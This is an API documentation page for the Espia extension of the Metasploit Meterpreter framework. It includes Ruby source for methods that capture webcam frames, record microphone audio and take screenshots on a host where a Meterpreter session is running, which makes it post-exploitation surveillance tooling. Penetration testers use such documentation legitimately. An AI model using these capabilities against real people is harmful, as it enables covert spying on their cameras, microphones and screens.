Class: Rex::Post::Meterpreter::Extensions::Espia::Espia

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/espia/espia.rb

Overview

This meterpreter extensions interface that is capable grab webcam frame and recor mic audio

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Espia

Returns a new instance of Espia


20
21
22
23
24
25
26
27
28
29
30
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 20

def initialize(client)
  super(client, 'espia')

  client.register_extension_aliases(
    [
      {
        'name' => 'espia',
        'ext'  => self
      },
    ])
end

Instance Method Details

#espia_audio_get_dev_audio(rsecs) ⇒ Object


39
40
41
42
43
44
45
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 39

def espia_audio_get_dev_audio(rsecs)
  request = Packet.create_request('espia_audio_get_dev_audio')
  request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
  response = client.send_request(request)

  return true
end

#espia_image_get_dev_screenObject


47
48
49
50
51
52
53
54
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 47

def espia_image_get_dev_screen
  request  = Packet.create_request( 'espia_image_get_dev_screen' )
  response = client.send_request( request )
  if( response.result == 0 )
    return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
  end
  return nil
end

#espia_video_get_dev_imageObject


32
33
34
35
36
37
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 32

def espia_video_get_dev_image()
  request = Packet.create_request('espia_video_get_dev_image')
  response = client.send_request(request)

  return true
end